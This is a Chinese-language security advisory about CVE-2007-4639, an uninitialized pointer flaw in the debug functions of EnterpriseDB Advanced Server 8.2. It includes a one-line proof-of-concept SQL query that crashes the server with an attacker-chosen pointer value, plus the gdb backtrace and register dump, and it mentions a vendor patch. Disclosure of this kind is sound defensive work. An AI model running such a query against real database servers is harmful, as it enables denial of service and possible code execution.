安全研究
安全漏洞
EnterpriseDB Advanced Server未初始化指针漏洞
发布日期:2007-08-29
更新日期:2007-09-04
受影响系统:
EnterpriseDB Advanced Server 8.2描述:
BUGTRAQ ID: 25481
CVE(CAN) ID: CVE-2007-4639
EnterpriseDB Advanced Server是一款企业级的关系数据库管理系统(RDBMS),与Oracle应用兼容。
EnterpriseDB的所有调试函数(如pldbg_get_stack)中都存在一个安全漏洞,远程攻击者可能利用此漏洞控制服务器。
pldbg_create_listener函数负责启动调试进程,必须是客户端发送任何调试命令之前所调用的第一个函数。当用户在调用主pldbg_create_listener函数之前调用任何调试相关函数时,使用了未初始化的指针,这允许用户通过执行某些查询(如select pldbg_abort_target())导致有漏洞的服务器崩溃,并执行任意指令。
<*来源:Joxean Koret (joxeankoret@yahoo.es)
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2007-August/065501.html
http://secunia.com/advisories/26640/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
2) 执行以下查询:
edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal
(gdb) where
#0 0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1 0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2 0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3 0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4 0x0816669d in ExecMakeFunctionResult ()
#5 0x08168d51 in ExecProject ()
#6 0x0817544d in ExecResult ()
#7 0x08162f65 in ExecProcNode ()
#8 0x08161931 in ExecutorRun ()
#9 0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>: mov (%eax),%eax
(gdb) i r
eax 0x41424344 1094861636
ecx 0x4 4
edx 0xbff46c04 -1074500604
ebx 0xbacbd8 12241880
esp 0xbff46bc0 0xbff46bc0
ebp 0xbff46be8 0xbff46be8
esi 0x4 4
edi 0xbab597 12236183
eip 0xba81db 0xba81db
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
建议:
厂商补丁:
EnterpriseDB
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.enterprisedb.com/
浏览次数:2624
严重程度:0(网友投票)
绿盟科技给您安全的保障
